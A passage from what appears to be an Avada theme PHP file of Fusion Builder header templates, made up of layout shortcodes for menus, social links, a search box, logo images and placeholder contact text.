flex_justify_content="flex-start" hundred_percent_height_center_content="yes" equal_height_columns="no" hide_on_mobile="small-visibility,medium-visibility,large-visibility" status="published" border_style="solid" box_shadow="no" box_shadow_blur="0" box_shadow_spread="0" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_position="center center" background_repeat="no-repeat" fade="no" background_parallax="none" enable_mobile="no" parallax_speed="0.3" background_blend_mode="none" video_aspect_ratio="16:9" video_loop="yes" video_mute="yes" container_tag="div" absolute="off" absolute_devices="small,medium,large" sticky="off" sticky_devices="small-visibility,medium-visibility,large-visibility" sticky_transition_offset="0" scroll_offset="0" animation_direction="left" animation_speed="0.3" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" background_color="#65bc7b" padding_top="6px" padding_bottom="6px" type="flex" padding_right="30px" padding_left="30px"][fusion_builder_row][fusion_builder_column type="1_2" layout="1_2" align_self="auto" align_content="flex-start" spacing="" center_content="no" link="" target="_self" min_height="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" class="" id="" type_medium="" type_small="1_2" order_medium="0" order_small="0" dimension_spacing_medium="" dimension_spacing_small="" dimension_spacing="" dimension_margin_medium="" dimension_margin_small="" margin_top="0px" margin_bottom="0px" padding_medium="" padding_small="" padding_top="" padding_right="" padding_bottom="" padding_left="" hover_type="none" border_sizes="" border_color="" border_style="solid" border_radius="" box_shadow="no" dimension_box_shadow="" box_shadow_blur="0" box_shadow_spread="0" box_shadow_color="" box_shadow_style="" background_type="single" gradient_start_color="" gradient_end_color="" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_color="" background_image="" background_image_id="" background_position="left top" background_repeat="no-repeat" background_blend_mode="none" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" filter_type="regular" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" last="false" border_position="all" first="true" spacing_right="" type="1_2"][fusion_text columns="" column_min_width="" column_spacing="" rule_style="default" rule_size="" rule_color="" font_size="13px" line_height="1" letter_spacing="" text_color="#ffffff" content_alignment_medium="" content_alignment_small="" content_alignment="left" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" class="" id="" fusion_font_variant_text_font=""]

    Call Us Today! 1.555.555.555

    [/fusion_text][/fusion_builder_column][fusion_builder_column type="1_2" layout="1_2" align_self="auto" align_content="flex-start" spacing="" center_content="no" link="" target="_self" min_height="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" class="" id="" type_medium="" type_small="1_2" order_medium="0" order_small="0" dimension_spacing_medium="" dimension_spacing_small="" dimension_spacing="" dimension_margin_medium="" dimension_margin_small="" margin_top="0px" margin_bottom="0px" padding_medium="" padding_small="" padding_top="" padding_right="" padding_bottom="" padding_left="" hover_type="none" border_sizes="" border_color="" border_style="solid" border_radius="" box_shadow="no" dimension_box_shadow="" box_shadow_blur="0" box_shadow_spread="0" box_shadow_color="" box_shadow_style="" background_type="single" gradient_start_color="" gradient_end_color="" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_color="" background_image="" background_image_id="" background_position="left top" background_repeat="no-repeat" background_blend_mode="none" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" filter_type="regular" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" last="true" border_position="all" first="false" type="1_2"][fusion_social_links font_size="" icons_boxed="" icons_boxed_radius="" color_type="" icon_colors="#fff" box_colors="" tooltip_placement="bottom" blogger="" deviantart="" discord="" digg="" dribbble="" dropbox="" facebook="#" flickr="" forrst="" instagram="#" linkedin="" mixer="" myspace="" paypal="" pinterest="" reddit="" rss="" skype="" soundcloud="" spotify="" tiktok="" tumblr="" twitch="" twitter="#" vimeo="" vk="" wechat="" whatsapp="" xing="" yahoo="" yelp="" youtube="#" email="" show_custom="no" alignment="right" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" class="" id="" /][/fusion_builder_column][/fusion_builder_row][/fusion_builder_container][fusion_builder_container hundred_percent="no" hundred_percent_height="no" hundred_percent_height_scroll="no" align_content="stretch" flex_align_items="stretch" flex_justify_content="flex-start" hundred_percent_height_center_content="yes" equal_height_columns="no" hide_on_mobile="small-visibility,medium-visibility,large-visibility" status="published" border_style="solid" box_shadow="no" box_shadow_blur="0" box_shadow_spread="0" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_position="center center" background_repeat="no-repeat" fade="no" background_parallax="none" enable_mobile="no" parallax_speed="0.3" background_blend_mode="none" video_aspect_ratio="16:9" video_loop="yes" video_mute="yes" container_tag="div" absolute="off" absolute_devices="small,medium,large" sticky="off" sticky_devices="small-visibility,medium-visibility,large-visibility" sticky_transition_offset="0" scroll_offset="0" animation_direction="left" animation_speed="0.3" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" padding_top_small="20px" padding_bottom_small="20px" z_index="152" type="flex" background_color="#ffffff" padding_top="0px" padding_right="30px" padding_bottom="0px" padding_left="30px"][fusion_builder_row][fusion_builder_column type="1_4" layout="1_4" align_self="auto" align_content="center" spacing="" center_content="no" link="" target="_self" min_height="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" class="" id="" type_medium="" type_small="1_2" order_medium="0" order_small="0" dimension_spacing_medium="" dimension_spacing_small="" dimension_spacing="" dimension_margin_medium="" dimension_margin_small="" margin_top="0px" margin_bottom="0px" padding_medium="" padding_small="" padding_top="" padding_right="" padding_bottom="" padding_left="" hover_type="none" border_sizes="" border_color="" border_style="solid" border_radius="" box_shadow="no" dimension_box_shadow="" box_shadow_blur="0" box_shadow_spread="0" box_shadow_color="" box_shadow_style="" background_type="single" gradient_start_color="" gradient_end_color="" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_color="" background_image="" background_image_id="" background_position="left top" background_repeat="no-repeat" background_blend_mode="none" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" filter_type="regular" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" last="false" border_position="all" first="true" spacing_right="" type="1_4"][fusion_imageframe image_id="" max_width="140px" sticky_max_width="" style_type="" blur="" stylecolor="" hover_type="none" bordersize="" bordercolor="" borderradius="" align_medium="none" align_small="none" align="none" lightbox="no" gallery_id="" lightbox_image="" lightbox_image_id="" alt="" link="" linktarget="_self" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" class="" id="" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" dynamic_params="eyJlbGVtZW50X2NvbnRlbnQiOnsiZGF0YSI6InNpdGVfbG9nbyIsInR5cGUiOiJhbGwifSwibGluayI6eyJkYXRhIjoic2l0ZV91cmwifX0=" /][/fusion_builder_column][fusion_builder_column type="3_4" layout="3_4" align_self="auto" align_content="center" spacing="" center_content="no" link="" target="_self" min_height="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" class="" id="" type_medium="" type_small="1_2" order_medium="0" order_small="0" dimension_spacing_medium="" dimension_spacing_small="" dimension_spacing="" dimension_margin_medium="" dimension_margin_small="" margin_top="0px" margin_bottom="0px" padding_medium="" padding_small="" padding_top="" padding_right="" padding_bottom="" padding_left="" hover_type="none" border_sizes="" border_color="" border_style="solid" border_radius="" box_shadow="no" dimension_box_shadow="" box_shadow_blur="0" box_shadow_spread="0" box_shadow_color="" box_shadow_style="" background_type="single" gradient_start_color="" gradient_end_color="" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_color="" background_image="" background_image_id="" background_position="left top" background_repeat="no-repeat" background_blend_mode="none" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" filter_type="regular" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" last="true" border_position="all" first="false" type="3_4"][fusion_menu menu="main-menu" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" direction="row" transition_time="300" submenu_space="" arrows="" arrows_size="" class="" id="" min_height="100px" sticky_min_height="" align_items="stretch" justify_content="flex-end" font_size="" text_transform="none" items_padding="" gap="" transition_type="left" icons_position="left" icons_size="16" thumbnail_size="" bg="" color="" active_bg="" active_color="" border="" border_color="" active_border="" active_border_color="" icons_color="" icons_hover_color="" dropdown_carets="yes" submenu_mode="dropdown" expand_method="hover" expand_direction="right" expand_transition="opacity" submenu_flyout_direction="fade" submenu_font_size="13px" submenu_text_transform="none" submenu_items_padding="" box_shadow="yes" box_shadow_blur="10" box_shadow_spread="0" box_shadow_color="rgba(0,0,0,0.03)" box_shadow_style="" submenu_sep_color="rgba(0,0,0,0)" submenu_bg="" submenu_color="" submenu_active_bg="#65bc7b" submenu_active_color="#ffffff" breakpoint="small" custom_breakpoint="900" mobile_nav_mode="collapse-to-button" mobile_nav_size="full-absolute" trigger_padding="" mobile_trigger_background_color="" mobile_trigger_color="#000000" collapsed_nav_text="Go to..." collapsed_nav_icon_open="fa-bars fas" collapsed_nav_icon_close="fa-times fas" mobile_icon_size="23" mobile_nav_button_align_hor="flex-end" mobile_nav_trigger_fullwidth="off" mobile_nav_items_height="55" mobile_indent_submenu="on" mobile_bg="" mobile_color="" mobile_active_bg="#65bc7b" mobile_active_color="#ffffff" mobile_sep_color="#ffffff" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" fusion_font_variant_mobile_typography="" fusion_font_variant_typography="" items_padding_top="" items_padding_bottom="" active_border_top="0" active_border_bottom="" fusion_font_variant_submenu_typography="" box_shadow_vertical="3" box_shadow_horizontal="0" submenu_border_radius_top_left="0" submenu_border_radius_top_right="0" submenu_border_radius_bottom_right="6px" submenu_border_radius_bottom_left="6px" margin_top="" margin_bottom="" border_top="0" mobile_nav_trigger_bottom_margin="20px" items_padding_right="25px" items_padding_left="25px" mobile_trigger_font_size="25px" /][/fusion_builder_column][/fusion_builder_row][/fusion_builder_container]', ]; $demos['header-4'] = [ 'name' => 'Header 4', 'image' => $preview_image, 'position' => 'calc( 300% / 15 )', 'content' => '[fusion_builder_container hundred_percent="no" hundred_percent_height="no" hundred_percent_height_scroll="no" align_content="stretch" flex_align_items="center" flex_justify_content="flex-start" hundred_percent_height_center_content="yes" equal_height_columns="no" hide_on_mobile="small-visibility,medium-visibility,large-visibility" status="published" border_style="solid" box_shadow="no" box_shadow_blur="0" box_shadow_spread="0" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_position="center center" background_repeat="no-repeat" fade="no" background_parallax="none" enable_mobile="no" parallax_speed="0.3" background_blend_mode="none" video_aspect_ratio="16:9" video_loop="yes" video_mute="yes" container_tag="div" absolute="off" absolute_devices="small,medium,large" sticky="off" sticky_devices="small-visibility,medium-visibility,large-visibility" sticky_transition_offset="0" scroll_offset="0" animation_direction="left" animation_speed="0.3" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" background_color="#f7f7f7" padding_top="0px" padding_bottom="0px" border_sizes_bottom="1px" border_color="#dddddd" z_index="99" type="flex" padding_right="30px" padding_left="30px"][fusion_builder_row][fusion_builder_column type="1_5" layout="1_5" align_self="auto" align_content="flex-start" spacing="" center_content="no" link="" target="_self" min_height="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" class="" id="" type_medium="" type_small="1_2" order_medium="0" order_small="0" dimension_spacing_medium="" dimension_spacing_small="" dimension_spacing="" dimension_margin_medium="" dimension_margin_small="" margin_top="0px" margin_bottom="0px" padding_medium="" padding_small="" padding_top="" padding_right="" padding_bottom="" padding_left="" hover_type="none" border_sizes="" border_color="" border_style="solid" border_radius="" box_shadow="no" dimension_box_shadow="" box_shadow_blur="0" box_shadow_spread="0" box_shadow_color="" box_shadow_style="" background_type="single" gradient_start_color="" gradient_end_color="" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_color="" background_image="" background_image_id="" background_position="left top" background_repeat="no-repeat" background_blend_mode="none" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" filter_type="regular" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" last="false" border_position="all" first="true" spacing_right="" type="1_5"][fusion_social_links font_size="" icons_boxed="" icons_boxed_radius="" color_type="" icon_colors="#898989" box_colors="" tooltip_placement="bottom" blogger="" deviantart="" discord="" digg="" dribbble="" dropbox="" facebook="#" flickr="" forrst="" instagram="#" linkedin="" mixer="" myspace="" paypal="" pinterest="" reddit="" rss="" skype="" soundcloud="" spotify="" tiktok="" tumblr="" twitch="" twitter="#" vimeo="" vk="" wechat="" whatsapp="" xing="" yahoo="" yelp="" youtube="#" email="" show_custom="no" alignment="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" class="" id="" /][/fusion_builder_column][fusion_builder_column type="4_5" layout="4_5" align_self="auto" align_content="flex-start" spacing="" center_content="no" link="" target="_self" min_height="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" class="" id="" type_medium="" type_small="1_2" order_medium="0" order_small="0" dimension_spacing_medium="" dimension_spacing_small="" dimension_spacing="" dimension_margin_medium="" dimension_margin_small="" margin_top="0px" margin_bottom="0px" padding_medium="" padding_small="" padding_top="" padding_right="" padding_bottom="" padding_left="" hover_type="none" border_sizes="" border_color="" border_style="solid" border_radius="" box_shadow="no" dimension_box_shadow="" box_shadow_blur="0" box_shadow_spread="0" box_shadow_color="" box_shadow_style="" background_type="single" gradient_start_color="" gradient_end_color="" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_color="" background_image="" background_image_id="" background_position="left top" background_repeat="no-repeat" background_blend_mode="none" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" filter_type="regular" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" last="true" border_position="all" first="false" type="4_5"][fusion_menu menu="header6custom" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" direction="row" transition_time="300" submenu_space="" arrows="" arrows_size="" class="" id="" min_height="50px" sticky_min_height="" align_items="stretch" justify_content="flex-end" font_size="14px" text_transform="none" items_padding="" gap="" transition_type="fade" icons_position="left" icons_size="16" thumbnail_size="" bg="" color="" active_bg="#ffffff" active_color="" border="" border_color="#dddddd" active_border="" active_border_color="" icons_color="" icons_hover_color="" dropdown_carets="yes" submenu_mode="dropdown" expand_method="hover" expand_direction="right" expand_transition="opacity" submenu_flyout_direction="fade" submenu_font_size="" submenu_text_transform="none" submenu_items_padding="" box_shadow="no" box_shadow_blur="0" box_shadow_spread="0" box_shadow_color="" box_shadow_style="" submenu_sep_color="" submenu_bg="" submenu_color="" submenu_active_bg="" submenu_active_color="" breakpoint="small" custom_breakpoint="800" mobile_nav_mode="collapse-to-button" mobile_nav_size="full-absolute" trigger_padding="" mobile_trigger_background_color="#ffffff" mobile_trigger_color="#000000" collapsed_nav_text="" collapsed_nav_icon_open="fa-bars fas" collapsed_nav_icon_close="fa-times fas" mobile_icon_size="24" mobile_nav_button_align_hor="flex-end" mobile_nav_trigger_fullwidth="off" mobile_nav_items_height="65" mobile_indent_submenu="on" mobile_bg="" mobile_color="" mobile_active_bg="" mobile_active_color="" mobile_sep_color="" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" fusion_font_variant_typography="" items_padding_top="0" items_padding_bottom="0" border_right="1px" items_padding_right="25px" items_padding_left="25px" active_border_right="1px" fusion_font_variant_mobile_typography="" mobile_trigger_font_size="25px" /][/fusion_builder_column][/fusion_builder_row][/fusion_builder_container][fusion_builder_container hundred_percent="no" hundred_percent_height="no" hundred_percent_height_scroll="no" align_content="stretch" flex_align_items="center" flex_justify_content="flex-start" hundred_percent_height_center_content="yes" equal_height_columns="no" hide_on_mobile="small-visibility,medium-visibility,large-visibility" status="published" border_style="solid" box_shadow="no" box_shadow_blur="0" box_shadow_spread="0" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_position="center center" background_repeat="no-repeat" fade="no" background_parallax="none" enable_mobile="no" parallax_speed="0.3" background_blend_mode="none" video_aspect_ratio="16:9" video_loop="yes" video_mute="yes" container_tag="div" absolute="off" absolute_devices="small,medium,large" sticky="off" sticky_devices="small-visibility,medium-visibility,large-visibility" sticky_transition_offset="0" scroll_offset="0" animation_direction="left" animation_speed="0.3" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" padding_top_small="30px" padding_bottom_small="30px" padding_top="35px" border_color="#ededed" border_sizes_bottom="1px" padding_bottom="35px" type="flex" background_color="#ffffff" padding_right="30px" padding_left="30px"][fusion_builder_row][fusion_builder_column type="1_4" layout="1_4" align_self="auto" align_content="center" spacing="" center_content="no" link="" target="_self" min_height="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" class="" id="" type_medium="" type_small="1_2" order_medium="0" order_small="0" dimension_spacing_medium="" dimension_spacing_small="" dimension_spacing="" dimension_margin_medium="" dimension_margin_small="" margin_top="0px" margin_bottom="0px" padding_medium="" padding_small="" padding_top="" padding_right="" padding_bottom="" padding_left="" hover_type="none" border_sizes="" border_color="" border_style="solid" border_radius="" box_shadow="no" dimension_box_shadow="" box_shadow_blur="0" box_shadow_spread="0" box_shadow_color="" box_shadow_style="" background_type="single" gradient_start_color="" gradient_end_color="" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_color="" background_image="" background_image_id="" background_position="left top" background_repeat="no-repeat" background_blend_mode="none" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" filter_type="regular" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" last="false" border_position="all" element_content="" margin_bottom_small="0px" first="true" spacing_right="" type="1_4"][fusion_imageframe image_id="" max_width="145px" sticky_max_width="" style_type="" blur="" stylecolor="" hover_type="none" bordersize="" bordercolor="" borderradius="" align_medium="none" align_small="left" align="none" lightbox="no" gallery_id="" lightbox_image="" lightbox_image_id="" alt="" link="" linktarget="_self" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" class="" id="" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" dynamic_params="eyJlbGVtZW50X2NvbnRlbnQiOnsiZGF0YSI6InNpdGVfbG9nbyIsInR5cGUiOiJhbGwifSwibGluayI6eyJkYXRhIjoic2l0ZV91cmwifX0=" /][/fusion_builder_column][fusion_builder_column type="1_2" layout="1_2" align_self="auto" align_content="flex-start" spacing="" center_content="no" link="" target="_self" min_height="" hide_on_mobile="medium-visibility,large-visibility" sticky_display="normal,sticky" class="" id="" order_medium="0" order_small="3" hover_type="none" border_color="" border_style="solid" box_shadow="no" box_shadow_blur="0" box_shadow_spread="0" box_shadow_color="" box_shadow_style="" background_type="single" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_color="" background_image="" background_image_id="" background_position="left top" background_repeat="no-repeat" background_blend_mode="none" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" filter_type="regular" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" margin_bottom="0px" type_small="1_1" last="false" border_position="all" margin_bottom_small="0px" padding_top_small="20px" padding_bottom_small="10px" first="false" spacing_right="" margin_top="0px" type="1_2"][fusion_text columns="" column_min_width="" column_spacing="" rule_style="default" rule_size="" rule_color="" font_size="" line_height="" letter_spacing="" text_color="" content_alignment_medium="" content_alignment_small="center" content_alignment="right" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" class="" id="" fusion_font_variant_text_font="" fusion_font_family_text_font="" dynamic_params="eyJlbGVtZW50X2NvbnRlbnQiOnsiZGF0YSI6InNpdGVfdGFnbGluZSJ9fQ=="]

    Insert any tagline or link here

    [/fusion_text][/fusion_builder_column][fusion_builder_column type="1_4" layout="1_4" align_self="auto" align_content="center" spacing="" center_content="no" link="" target="_self" min_height="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" class="" id="" type_medium="" type_small="1_2" order_medium="0" order_small="2" dimension_spacing_medium="" dimension_spacing_small="" dimension_spacing="" dimension_margin_medium="" dimension_margin_small="" margin_top="0px" margin_bottom="0px" padding_medium="" padding_small="" padding_top="" padding_right="" padding_bottom="" padding_left="" hover_type="none" border_sizes="" border_color="" border_style="solid" border_radius="" box_shadow="no" dimension_box_shadow="" box_shadow_blur="0" box_shadow_spread="0" box_shadow_color="" box_shadow_style="" background_type="single" gradient_start_color="" gradient_end_color="" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_color="" background_image="" background_image_id="" background_position="left top" background_repeat="no-repeat" background_blend_mode="none" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" filter_type="regular" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" last="true" border_position="all" margin_bottom_small="0px" first="false" type="1_4"][fusion_search live_search="" search_content="" search_limit_to_post_titles="" placeholder="" design="" input_height="" bg_color="" text_size="" text_color="" border_width="" border_color="" focus_border_color="" border_radius="" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" class="" id="" /][/fusion_builder_column][/fusion_builder_row][/fusion_builder_container][fusion_builder_container hundred_percent="no" hundred_percent_height="no" hundred_percent_height_scroll="no" align_content="stretch" flex_align_items="flex-start" flex_justify_content="flex-start" hundred_percent_height_center_content="yes" equal_height_columns="no" hide_on_mobile="medium-visibility,large-visibility" status="published" border_style="solid" box_shadow="no" box_shadow_blur="0" box_shadow_spread="0" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_position="center center" background_repeat="no-repeat" fade="no" background_parallax="none" enable_mobile="no" parallax_speed="0.3" background_blend_mode="none" video_aspect_ratio="16:9" video_loop="yes" video_mute="yes" container_tag="div" absolute="off" absolute_devices="small,medium,large" sticky="off" sticky_devices="small-visibility,medium-visibility,large-visibility" sticky_transition_offset="0" scroll_offset="0" animation_direction="left" animation_speed="0.3" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" z_index="152" flex_column_spacing="0px" type="flex" background_color="#ffffff" padding_top="0px" padding_right="30px" padding_bottom="0px" padding_left="30px"][fusion_builder_row][fusion_builder_column type="1_1" layout="1_1" align_self="auto" align_content="center" spacing="" center_content="no" link="" target="_self" min_height="" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" class="" id="" type_medium="" type_small="1_1" order_medium="0" order_small="0" dimension_spacing_medium="" dimension_spacing_small="" dimension_spacing="" dimension_margin_medium="" dimension_margin_small="" margin_top="0px" margin_bottom="0px" padding_medium="" padding_small="" padding_top="" padding_right="" padding_bottom="" padding_left="" hover_type="none" border_sizes="" border_color="" border_style="solid" border_radius="" box_shadow="no" dimension_box_shadow="" box_shadow_blur="0" box_shadow_spread="0" box_shadow_color="" box_shadow_style="" background_type="single" gradient_start_color="" gradient_end_color="" gradient_start_position="0" gradient_end_position="100" gradient_type="linear" radial_direction="center center" linear_angle="180" background_color="" background_image="" background_image_id="" background_position="left top" background_repeat="no-repeat" background_blend_mode="none" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" filter_type="regular" filter_hue="0" filter_saturation="100" filter_brightness="100" filter_contrast="100" filter_invert="0" filter_sepia="0" filter_opacity="100" filter_blur="0" filter_hue_hover="0" filter_saturation_hover="100" filter_brightness_hover="100" filter_contrast_hover="100" filter_invert_hover="0" filter_sepia_hover="0" filter_opacity_hover="100" filter_blur_hover="0" last="true" border_position="all" padding_top_small="15px" padding_bottom_small="15px" first="true" type="1_1"][fusion_menu menu="long-menu" hide_on_mobile="small-visibility,medium-visibility,large-visibility" sticky_display="normal,sticky" direction="row" transition_time="300" submenu_space="" arrows="" arrows_size="" class="" id="" min_height="80px" sticky_min_height="" align_items="stretch" justify_content="space-between" font_size="" text_transform="none" items_padding="" gap="" transition_type="left" icons_position="left" icons_size="16" thumbnail_size="" bg="" color="" active_bg="" active_color="" border="" border_color="rgba(0,0,0,0)" active_border="" active_border_color="#65bc7b" icons_color="" icons_hover_color="" dropdown_carets="yes" submenu_mode="dropdown" expand_method="hover" expand_direction="right" expand_transition="opacity" submenu_flyout_direction="fade" submenu_font_size="13px" submenu_text_transform="none" submenu_items_padding="" box_shadow="yes" box_shadow_blur="10" box_shadow_spread="0" box_shadow_color="rgba(0,0,0,0.03)" box_shadow_style="" submenu_sep_color="rgba(0,0,0,0)" submenu_bg="" submenu_color="" submenu_active_bg="#65bc7b" submenu_active_color="#ffffff" breakpoint="small" custom_breakpoint="900" mobile_nav_mode="collapse-to-button" mobile_nav_size="full-absolute" trigger_padding="" mobile_trigger_background_color="" mobile_trigger_color="#000000" collapsed_nav_text="Go to..." collapsed_nav_icon_open="fa-bars fas" collapsed_nav_icon_close="fa-times fas" mobile_icon_size="23" mobile_nav_button_align_hor="flex-end" mobile_nav_trigger_fullwidth="off" mobile_nav_items_height="55" mobile_indent_submenu="on" mobile_bg="" mobile_color="" mobile_active_bg="#65bc7b" mobile_active_color="#ffffff" mobile_sep_color="#ffffff" animation_type="" animation_direction="left" animation_speed="0.3" animation_offset="" fusion_font_variant_mobile_typography="" 